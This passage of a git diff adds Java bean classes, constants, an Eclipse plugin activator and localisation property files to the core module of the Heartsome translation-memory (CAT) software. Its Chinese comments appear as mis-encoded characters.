return attributes; + } + + public void appendAttribute(String name, String value) { + if (this.attributes == null) { + attributes = new HashMap(); + } + attributes.put(name, value); + } + + /** @return the creationUser */ + public String getCreationUser() { + if(attributes !=null &&creationUser ==null){ + return attributes.get("creationUser"); + } + return creationUser; + } + + /** + * @param creationUser + * the creationUser to set + */ + public void setCreationUser(String creationUser) { + this.creationUser = creationUser; + } + + /** @return the creationDate */ + public String getCreationDate() { + if(attributes !=null &&creationDate==null){ + return attributes.get("creationDate"); + } + return creationDate; + } + + /** + * @param creationDate + * the creationDate to set + */ + public void setCreationDate(String creationDate) { + this.creationDate = creationDate; + } + + /** @return the changeDate */ + public String getChangeDate() { + if(attributes !=null &&changeDate==null){ + return attributes.get("changeDate"); + } + return changeDate; + } + + /** + * @param changeDate + * the changeDate to set + */ + public void setChangeDate(String changeDate) { + this.changeDate = changeDate; + } + + /** @return the changeUser */ + public String getChangeUser() { + if(attributes !=null &&changeUser==null){ + return attributes.get("changeUser"); + } + return changeUser; + } + + /** + * @param changeUser + * the changeUser to set + */ + public void setChangeUser(String changeUser) { + this.changeUser = changeUser; + } + + /** @return the creationTool */ + public String getCreationTool() { + if(attributes !=null &&creationTool==null){ + return attributes.get("creationTool"); + } + return creationTool; + } + + /** + * @param creationTool + * the creationTool to set + */ + public void setCreationTool(String creationTool) { + this.creationTool = creationTool; + } + + /** @return the creationToolVersion */ + public String getCreationToolVersion() { + if(attributes !=null &&creationToolVersion==null){ + return attributes.get("creationToolVersion"); + } + return creationToolVersion; + } + + /** + * @param creationToolVersion + * the creationToolVersion to set + */ + public void setCreationToolVersion(String creationToolVersion) { + this.creationToolVersion = creationToolVersion; + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxTU.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxTU.java new file mode 100644 index 0000000..e114f52 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxTU.java @@ -0,0 +1,385 @@ +package net.heartsome.cat.common.bean; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * TM DB Translation memory encapsulation + * @author jason + * @version + * @since JDK1.6 + */ +public class TmxTU { + + /** MTU PK */ + private int tmId; + /** subfile index 通常,fidx + TeCoreConstant.ID_MARK + tmId 代替 tuId 使用 */ + private int fidx; + + private String tuId; + /*** TU属性值 */ + private List props; + private List notes; + private String creationUser; + private String creationDate; + private String changeDate; + private String changeUser; + private String creationTool; + private String creationToolVersion; + + /** TU 扩展属性值*/ + private Map attributes; + + private TmxSegement source; + private TmxSegement target; + private List segments; + private TmxContexts contexts; + + public TmxTU() { + } + + public TmxTU(TmxSegement source, TmxSegement target) { + this.source = source; + this.target = target; + } + + public TmxTU(String creationUser, String creationDate, String changeDate, String changeUser, TmxSegement source, + TmxSegement target) { + this.creationUser = creationUser; + this.creationDate = creationDate; + this.changeUser = changeUser; + this.changeDate = changeDate; + this.source = source; + this.target = target; + } + + /** + * Set the value of tmId MTU PK + * @param newVar + * the new value of tmId + */ + public void setTmId(int newVar) { + tmId = newVar; + } + + /** + * Get the value of tmId MTU PK + * @return the value of tmId + */ + public int getTmId() { + return tmId; + } + + /** + * Set the value of attributeValues TU属性值(prop node) + * @param newVar + * the new value of attributeValues + */ + public void setProps(List newVar) { + props = newVar; + } + + /** + * check whether contain the Obj + * @param obj + * @return ; + */ + public boolean isContainsProp(TmxProp obj) { + if (props == null || props.size() == 0) { + return false; + } + if (props.contains(obj)) { + return true; + } + return false; + } + + /** + * Append a new Prop node + * @param newProp + * ; + */ + public void appendProp(TmxProp newProp) { + if (props == null) { + props = new ArrayList(); + } + if (!props.contains(newProp)) { + props.add(newProp); + } + } + + /** + * Get the value of attributeValues TU属性值 + * @return the value of attributeValues + */ + public List getProps() { + return props; + } + + /** + * Get the prop by prop node attribute value + * @param type + * Node Attribute value + * @return did not find return null; + */ + public TmxProp getPropByType(String type) { + if (props == null || props.size() == 0) { + return null; + } + for (TmxProp prop : props) { + if (prop.getName().equals(type)) { + return prop; + } + } + return null; + } + + /** @return the notes */ + public List getNotes() { + return notes; + } + + /** + * Append a new Note node + * @param note + * ; + */ + public void appendNote(TmxNote note) { + if (notes == null) { + notes = new ArrayList(); + } + if (!notes.contains(note)) { + notes.add(note); + } + } + + /** + * @param notes + * the notes to set + */ + public void setNotes(List notes) { + this.notes = notes; + } + + /** + * Set the value of creationUser + * @param newVar + * the new value of creationUser + */ + public void setCreationUser(String newVar) { + creationUser = newVar; + } + + /** + * Get the value of creationUser + * @return the value of creationUser + */ + public String getCreationUser() { + return creationUser; + } + + /** + * Set the value of creationDate + * @param newVar + * the new value of creationDate + */ + public void setCreationDate(String newVar) { + creationDate = newVar; + } + + /** + * Get the value of creationDate + * @return the value of creationDate + */ + public String getCreationDate() { + return creationDate; + } + + /** + * Set the value of changeDate + * @param newVar + * the new value of changeDate + */ + public void setChangeDate(String newVar) { + changeDate = newVar; + } + + /** + * Get the value of changeDate + * @return the value of changeDate + */ + public String getChangeDate() { + return changeDate; + } + + /** + * Set the value of changeUser + * @param newVar + * the new value of changeUser + */ + public void setChangeUser(String newVar) { + changeUser = newVar; + } + + /** + * Get the value of changeUser + * @return the value of changeUser + */ + public String getChangeUser() { + return changeUser; + } + + /** + * Set the value of source + * @param newVar + * the new value of source + */ + public void setSource(TmxSegement newVar) { + source = newVar; + } + + /** + * Get the value of source + * @return the value of source + */ + public TmxSegement getSource() { + return source; + } + + /** + * Set the value of target + * @param newVar + * the new value of target + */ + public void setTarget(TmxSegement newVar) { + target = newVar; + } + + /** + * Get the value of target + * @return the value of target + */ + public TmxSegement getTarget() { + return target; + } + + public List getSegments() { + return segments; + } + + public void setSegments(List segments) { + this.segments = segments; + } + + public void appendSegement(TmxSegement segment) { + if (segments == null) { + segments = new ArrayList(); + } + segments.add(segment); + } + + /** @return the tuId */ + public String getTuId() { + return tuId; + } + + /** + * @param tuId + * the tuId to set + */ + public void setTuId(String tuId) { + this.tuId = tuId; + } + + /** @return the createtionTool */ + public String getCreationTool() { + return creationTool; + } + + /** + * @param createtionTool + * the createtionTool to set + */ + public void setCreationTool(String createtionTool) { + this.creationTool = createtionTool; + } + + /** @return the creationToolVersion */ + public String getCreationToolVersion() { + return creationToolVersion; + } + + /** + * @param creationToolVersion + * the creationToolVersion to set + */ + public void setCreationToolVersion(String creationToolVersion) { + this.creationToolVersion = creationToolVersion; + } + + /** @return TU 的扩展属性 */ + public Map getAttributes() { + return attributes; + } + + /** + * @param attributes + * 扩展属性 + */ + public void setAttributes(Map attributes) { + this.attributes = attributes; + } + + public void appendAttribute(String name, String value) { + if (this.attributes == null) { + attributes = new HashMap(); + } + attributes.put(name, value); + } + + /** @return the contexts */ + public TmxContexts getContexts() { + return contexts; + } + + /** + * @param contexts + * the contexts to set + */ + public void setContexts(TmxContexts contexts) { + this.contexts = contexts; + } + + /** + * @param contextName + * @see {@link TmxContexts#PRE_CONTEXT_NAME} {@link TmxContexts#NEXT_CONTEXT_NAME} + * @param contextVal + * ; + */ + public void appendContext(String contextName, String contextVal) { + if (contextVal == null || contextVal.length() == 0) { + return; + } + if (this.contexts == null) { + contexts = new TmxContexts(); + } + if (contextName.equals(TmxContexts.PRE_CONTEXT_NAME)) { + contexts.appendPreContext(contextVal); + } else if (contextName.equals(TmxContexts.NEXT_CONTEXT_NAME)) { + contexts.appendNextContext(contextVal); + } + + } + + public int getFidx() { + return fidx; + } + public void setFidx(int fidx) { + this.fidx = fidx; + } + + + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TranslationUnitAnalysisResult.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TranslationUnitAnalysisResult.java new file mode 100644 index 0000000..66608f9 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TranslationUnitAnalysisResult.java @@ -0,0 +1,64 @@ +/** + * TranslationUnitAnalysResult.java + * + * Version information : + * + * Date:2012-12-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.bean; + +/** + * Translation Unit Translation memory analys result + * @author jason + * @version + * @since JDK1.6 + */ +public class TranslationUnitAnalysisResult { + private int similarity; + private String dbName; + + public TranslationUnitAnalysisResult() { + this(0, null); + } + + public TranslationUnitAnalysisResult(int similarity){ + this(similarity, null); + } + + public TranslationUnitAnalysisResult(int similarity, String dbName) { + this.similarity = similarity; + this.dbName = dbName; + } + + /** @return the similarity */ + public int getSimilarity() { + return similarity; + } + + /** + * @param similarity + * the similarity to set + */ + public void setSimilarity(int similarity) { + this.similarity = similarity; + } + + /** @return the dbName */ + public String getDbName() { + return dbName; + } + + /** + * @param dbName + * the dbName to set + */ + public void setDbName(String dbName) { + this.dbName = dbName; + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/Constant.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/Constant.java new file mode 100644 index 0000000..3297b23 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/Constant.java @@ -0,0 +1,153 @@ +package net.heartsome.cat.common.core; + +public class Constant { + /** + * 当å‰ç³»ç»Ÿè¿è¡Œæ¨¡å¼ã€‚ + */ + public static int RUNNING_MODE = 0; + + /** + * 调试模å¼ã€‚该模å¼ä¸‹å°†åœ¨æŽ§åˆ¶å°è¾“出所有的异常堆栈。 + */ + public static final int MODE_DEBUG = 0; + + /** + * 部署模å¼ã€‚该模å¼ä¸‹å°†åœ¨æŽ§åˆ¶å°è¾“出所有的异常堆栈。 + */ + public static final int MODE_DEPLOY = 1; + + /** + * æ“作æˆåŠŸã€‚ + */ + public static final int RETURNVALUE_RESULT_SUCCESSFUL = 1; + + /** + * æ“作失败。 + */ + public static final int RETURNVALUE_RESULT_FAILURE = 0; + + /** + * 返回值中的æ“作结果。 + */ + public static final String RETURNVALUE_RESULT = "result"; + + /** + * 返回值。 + */ + public static final String RETURNVALUE_VALUE = "value"; + + /** + * 返回值中的消æ¯æ–‡æœ¬ã€‚ + */ + public static final String RETURNVALUE_MSG = "msg"; + + /** + * 返回值中的异常对象。 + */ + public static final String RETURNVALUE_EXCEPTION = "exception"; + + /** + * 更改大å°å†™æ¨¡å¼ï¼ï¼å…¨éƒ¨å¤§å†™ + */ + public static final int CHANGECASE_UPPER = 1; + + /** + * 更改大å°å†™æ¨¡å¼ï¼ï¼å…¨éƒ¨å°å†™ + */ + public static final int CHANGECASE_LOWER = 2; + + /** + * 更改大å°å†™æ¨¡å¼ï¼ï¼å¥å­å¤§å†™ + */ + public static final int CHANGECASE_SENTENCE = 3; + + /** + * 更改大å°å†™æ¨¡å¼ï¼ï¼æ ‡é¢˜å¤§å†™ + */ + public static final int CHANGECASE_TITLE = 4; + + /** + * 更改大å°å†™æ¨¡å¼ï¼ï¼å…¨éƒ¨åˆ‡æ¢ + */ + public static final int CHANGECASE_TOGGLE = 5; + + /** + * 分隔符 + */ + public static final String SEPARATORS_1 = " \r\n\f\t\u2028\u2029,.;\":<>?!()[]{}=+-/*\u00AB\u00BB\u201C\u201D\u201E\uFF00"; //$NON-NLS-1$ + + /** + * 切割å•è¯æ‰€ç”¨åˆ°çš„分割符,用于拼写检查等 + */ + public static final String SEPARATORS = " \r\n\f\t\u2028\u2029\u00A0,.;\":<>¿?¡!()[]{}=-+/*\u00A7\u00A9\u00AE\u00D7\u2122\u2010\u2011\u2012\u2013\u2014\u2015\u00AB\u00BB\u22D6\u22D7\u227A\u227B\u201C\u201D\u201E\uFF00\uF000\uF001\uF002\uF003\u2310\u00AC\uE000\uE001"; //$NON-NLS-1$ + + /** + * 产å“版本ï¼ï¼Ultimate 旗舰版 + */ + public static final int EDITION_UE = 4; + + /** + * 产å“版本ï¼ï¼Professional 专业版 + */ + public static final int EDITION_PRO = 3; + + /** + * 产å“版本ï¼ï¼Personal 个人版 + */ + public static final int EDITION_PE = 2; + + /** + * 产å“版本ï¼ï¼LITE 精简版 + */ + public static final int EDITION_LITE = 1; + + /** + * “æºæ–‡ä»¶â€æ–‡ä»¶å¤¹ + */ + public static final String FOLDER_SRC = "Source"; + + /** + * “æºæ–‡ä»¶â€æ–‡ä»¶å¤¹ + */ + public static final String FOLDER_TGT = "Target"; + + /** + * “XLIFFâ€æ–‡ä»¶å¤¹ + */ + public static final String FOLDER_XLIFF = "XLIFF"; + + /** + * “SKLâ€æ–‡ä»¶å¤¹ + */ + public static final String FOLDER_SKL = "SKL"; + + /** + * “Report“文件夹 + */ + public static final String FOLDER_REPORT = "Report"; + + /** + * Intermeddiate文件夹 + */ + public static final String FOLDER_INTERMEDDIATE = "Intermediate"; + /** + * “其他â€æ–‡ä»¶å¤¹ + */ + public static final String FOLDER_OTHER = "Other"; + + /** + * 内部骨架文件类型 + */ + public static final String SKL_INTERNAL_FILE = "internal-file"; + + /** + * 导航视图ID + */ + public static final String NAVIGATOR_VIEW_ID = "net.heartsome.cat.common.ui.navigator.view"; + + /** + * 项目下的å­æ–‡ä»¶ï¼Œ .config 文件 + */ + public static final String FILE_CONFIG = ".config"; + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/CoreActivator.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/CoreActivator.java new file mode 100644 index 0000000..e4a9a2c --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/CoreActivator.java @@ -0,0 +1,81 @@ +package net.heartsome.cat.common.core; + +import java.io.InputStream; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class CoreActivator extends AbstractUIPlugin { + + /** æ’件ID。 */ + public static final String PLUGIN_ID = "net.heartsome.cat.common.core"; + + /** 共享的æ’件实例。 */ + private static CoreActivator plugin; + + // é…置文件存放的路径å‰ç¼€ + private static final String PATH_PREF = "/configuration"; + + // 默认的语言代ç æ–‡ä»¶å­˜æ”¾çš„路径 + public static final String LANGUAGE_CODE_PATH = PATH_PREF + "/langCodes.xml"; + + // 国家代ç æ–‡ä»¶å­˜æ”¾çš„路径 + public static final String ISO3166_1_PAHT = PATH_PREF + "/ISO3166-1.xml"; + + // è¯­è¨€ä»£ç  ISO689-1 文件存放的路径 + public static final String ISO639_1_PAHT = PATH_PREF + "/ISO639-1.xml"; + + // è¯­è¨€ä»£ç  ISO689-2 文件存放的路径 + public static final String ISO639_2_PAHT = PATH_PREF + "/ISO639-2.xml"; + + public final static Logger logger = LoggerFactory.getLogger(CoreActivator.class.getName()); + + public CoreActivator() { + + } + + /** + * å¯åŠ¨æ’件应用,创建共享的æ’件实例。 + * @param context + * the context + * @throws Exception + * the exception + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /** + * åœæ­¢æ’件应用,并销æ¯å…±äº«çš„æ’件实例。 + * @param context + * the context + * @throws Exception + * the exception + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * 获得默认的共享的æ’件实例。 + * @return the shared instance + */ + public static CoreActivator getDefault() { + return plugin; + } + + /** + * @param path + * 相对æ’件根目录的文件路径,如/configuration/langCodes.xml + * @return 返回æ’件内部é…置文件输入æµï¼Œå¦‚果找ä¸åˆ°è·¯å¾„对应的文件,则返回 NULL; + */ + public static InputStream getConfigurationFileInputStream(String path) { + return CoreActivator.class.getResourceAsStream(path); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/IPreferenceConstants.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/IPreferenceConstants.java new file mode 100644 index 0000000..5d2b00d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/IPreferenceConstants.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.common.core; + +/** + * core 中定义的首选项常é‡. + * @author cheney + */ +public interface IPreferenceConstants { + + /** + * 语言代ç ã€‚ + */ + String LANGUAGECODE = "languagecode"; + + /** + * 最åŽä¸€æ¬¡æ‰“开文件目录对è¯æ¡†æ‰€é€‰æ‹©çš„目录路径。 + */ + String LAST_DIRECTORY = "lastDirectory"; + + /** + * 是å¦å¯ç”¨ OO(Open Office),用以支æŒè½¬æ¢ MSOffice 2003。 + */ + String AUTOMATIC_OO = "automaticOO"; +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/exception/ImportException.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/exception/ImportException.java new file mode 100644 index 0000000..d3d2bee --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/exception/ImportException.java @@ -0,0 +1,32 @@ +/** + * ImportException.java + * + * Version information : + * + * Date:2012-6-29 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.core.exception; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class ImportException extends Exception { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + + public ImportException(){ + super(); + } + + public ImportException(String message){ + super(message); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/Messages.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/Messages.java new file mode 100644 index 0000000..9437780 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.common.core.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.common.core.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message.properties b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message.properties new file mode 100644 index 0000000..9929089 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message.properties @@ -0,0 +1,30 @@ +file.LanguageConfiger.logger1 = [LOG] \u66f4\u65b0\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.LanguageConfiger.logger2 = [LOG] \u5220\u9664\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.LanguageConfiger.logger3 = [LOG] \u6dfb\u52a0\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 + +util.CommonFunction.logger1 = [LOG] \u5fc5\u987b\u4e3a\u7edd\u5bf9\u8def\u5f84\u3002 +util.TextUtil.logger1 = [LOG] \u89e3\u6790\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 + +############################ 2012 - 08- 07 \u6dfb\u52a0 ######################################### +file.FileManager.msg1 = \u76ee\u5f55 {0} \u4e0d\u5b58\u5728\u3002 + +############################ 2012 - 08- 26 \u6dfb\u52a0\uff0c\u5c06 net.heartsome.cat.ts.core \u63d2\u4ef6\u4e2d\u8d44\u6e90\u6587\u4ef6\u7684\u4ee5\u4e0b\u5185\u5bb9\u526a\u5207\u5230\u6b64\u5904 ######################################### +file.XLFValidator.msgTitle = \u63d0\u793a +file.XLFValidator.msg1 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u5b58\u653e\u8def\u5f84\u4e0d\u89c4\u8303\uff1a\n{0}\n\n\u8bf7\u6309\u5982\u4e0b\u9ed8\u8ba4\u89c4\u5219\u5b58\u653e\uff1a\n/XLIFF/\u76ee\u6807\u8bed\u8a00\u4ee3\u7801/...\u5b50\u6587\u4ef6\u5939.../*.hsxliff\n\u4f8b\u5982\uff1a\u76ee\u6807\u8bed\u8a00\u4e3a\u4e2d\u6587\u7684 XLIFF \u5b58\u653e\u8def\u5f84\u4e3a /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg2 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u5b58\u653e\u8def\u5f84\u4e0d\u89c4\u8303\uff1a\n{0}\n\n\u8bf7\u6309\u5982\u4e0b\u9ed8\u8ba4\u89c4\u5219\u5b58\u653e\uff1a\n/XLIFF/\u76ee\u6807\u8bed\u8a00\u4ee3\u7801/...\u5b50\u6587\u4ef6\u5939.../*.hsxliff\n\u4f8b\u5982\uff1a\u76ee\u6807\u8bed\u8a00\u4e3a\u4e2d\u6587\u7684 XLIFF \u5b58\u653e\u8def\u5f84\u4e3a /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg3 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u5b58\u653e\u8def\u5f84\u4e0d\u89c4\u8303\uff1a\n{0}\n\n\u8bf7\u6309\u5982\u4e0b\u9ed8\u8ba4\u89c4\u5219\u5b58\u653e\uff1a\n/XLIFF/\u76ee\u6807\u8bed\u8a00\u4ee3\u7801/...\u5b50\u6587\u4ef6\u5939.../*.hsxliff\n\u4f8b\u5982\uff1a\u76ee\u6807\u8bed\u8a00\u4e3a\u4e2d\u6587\u7684 XLIFF \u5b58\u653e\u8def\u5f84\u4e3a /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg4 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u5c1a\u672a\u8bbe\u7f6e\uff1a\n{0}\n\n\u82e5\u7ee7\u7eed\u5904\u7406\uff0cXLIFF \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u5c06\u88ab\u8bbe\u7f6e\u4e3a\u9879\u76ee\u7684\u6e90\u8bed\u8a00 {1}\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5904\u7406\u5417\uff1f +file.XLFValidator.msg5 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u6e90\u8bed\u8a00 {1} \u4e0e\u9879\u76ee\u6e90\u8bed\u8a00 {2} \u4e0d\u4e00\u81f4\uff1a\n{0}\n\n\u82e5\u7ee7\u7eed\u5904\u7406\uff0cXLIFF \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u5c06\u88ab\u8bbe\u7f6e\u4e3a\u9879\u76ee\u7684\u6e90\u8bed\u8a00\u3002\n\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5904\u7406\u5417\uff1f +file.XLFValidator.msgTitle2 = \u786e\u8ba4 +file.XLFValidator.msg6 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u76ee\u6807\u8bed\u8a00 {1} \u4e0d\u662f\u9879\u76ee\u7684\u76ee\u6807\u8bed\u8a00\u4e4b\u4e00\uff1a\n{0}\n\n\u82e5\u7ee7\u7eed\u5904\u7406\uff0cXLIFF \u6587\u4ef6\u7684\u76ee\u6807\u8bed\u8a00\u5c06\u6309\u9ed8\u8ba4\u7684\u76ee\u5f55\u89c4\u5219\u88ab\u8bbe\u7f6e\u4e3a\u9879\u76ee\u7684\u76ee\u6807\u8bed\u8a00 {2}\u3002\n\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5904\u7406\u5417\uff1f +file.XLFValidator.msg7 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u76ee\u6807\u8bed\u8a00 {1} \u4e0e\u9ed8\u8ba4\u7684\u76ee\u5f55\u89c4\u5219\u4e0d\u76f8\u7b26\uff1a\n{0}\n\n\u82e5\u7ee7\u7eed\u5904\u7406\uff0cXLIFF \u6587\u4ef6\u7684\u76ee\u6807\u8bed\u8a00\u5c06\u6309\u9ed8\u8ba4\u7684\u76ee\u5f55\u89c4\u5219\u88ab\u8bbe\u7f6e\u4e3a\u9879\u76ee\u7684\u76ee\u6807\u8bed\u8a00 {2}\u3002\n\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5904\u7406\u5417\uff1f +file.XLFValidator.msg8 = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +file.XLFValidator.logger1 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFValidator.msg9 = \u8bf7\u9009\u62e9 XLIFF \u6587\u4ef6\u3002 + +############################ 2012 - 08- 30 \u6dfb\u52a0 ######################################### +file.XLFValidator.toggleStateMsg = \u4e0d\u518d\u8be2\u95ee + +# 2013-02-20 add by jason +file.XLFValidator.errorTitle = \u9519\u8bef +file.XLFValidator.parseError = \u65e0\u6cd5\u89e3\u6790\u6587\u4ef6 {0}\uff0c\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u4e3a HSXLIFF \u6587\u4ef6\uff0c\u6216\u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a HSXLIFF\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002\n\u5982\u679c\u8be5\u6587\u4ef6\u4e0d\u662f\u7531 Heartsome Translation Studio 8 \u751f\u6210\u7684\uff0c\u8bf7\u5c1d\u8bd5\u7528\u6587\u672c\u7f16\u8f91\u5668\u4ee5 UTF-8 \u7f16\u7801\u53e6\u5b58\u540e\u91cd\u8bd5\u3002 diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message_en.properties b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message_en.properties new file mode 100644 index 0000000..ab81c13 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message_en.properties @@ -0,0 +1,29 @@ +file.LanguageConfiger.logger1 = [LOG] \u66f4\u65b0\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.LanguageConfiger.logger2 = [LOG] \u5220\u9664\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.LanguageConfiger.logger3 = [LOG] \u6dfb\u52a0\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 + +util.CommonFunction.logger1 = [LOG] \u5fc5\u987b\u4e3a\u7edd\u5bf9\u8def\u5f84\u3002 +util.TextUtil.logger1 = [LOG] \u89e3\u6790\u6587\u4ef6\uff1a{0} failed. + +############################ 2012 - 08- 07 \u6dfb\u52a0 ######################################### +file.FileManager.msg1 = Directory {0} does not exist. + +############################ 2012 - 08- 26 \u6dfb\u52a0\uff0c\u5c06 net.heartsome.cat.ts.core \u63d2\u4ef6\u4e2d\u8d44\u6e90\u6587\u4ef6\u7684\u4ee5\u4e0b\u5185\u5bb9\u526a\u5207\u5230\u6b64\u5904 ######################################### +file.XLFValidator.msgTitle = Message +file.XLFValidator.msg1 = Storage path of following XLIFF files is not valid: \n{0}\n\nPlease store as following default rules:\n/XLIFF/target language code/...subfolders.../*.hsxliff\nExample: If target language is Chinese, XLIFF storage path shall be /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg2 = Storage path of following XLIFF files is not valid: \n{0}\n\nPlease store as following default rules:\n/XLIFF/target language code/...subfolders.../*.hsxliff\nExample: If target language is Chinese, XLIFF storage path shall be /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg3 = Storage path of following XLIFF files is not valid: \n{0}\n\nPlease store as following default rules:\n/XLIFF/target language code/...subfolders.../*.hsxliff\nExample: If target language is Chinese, XLIFF storage path shall be /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg4 = Source language of following XLIFF files has not yet been set: \n{0}\n\nIf continue, the source language of XLIFF files will be used as the source language for project {1}. Are you sure you want to continue? 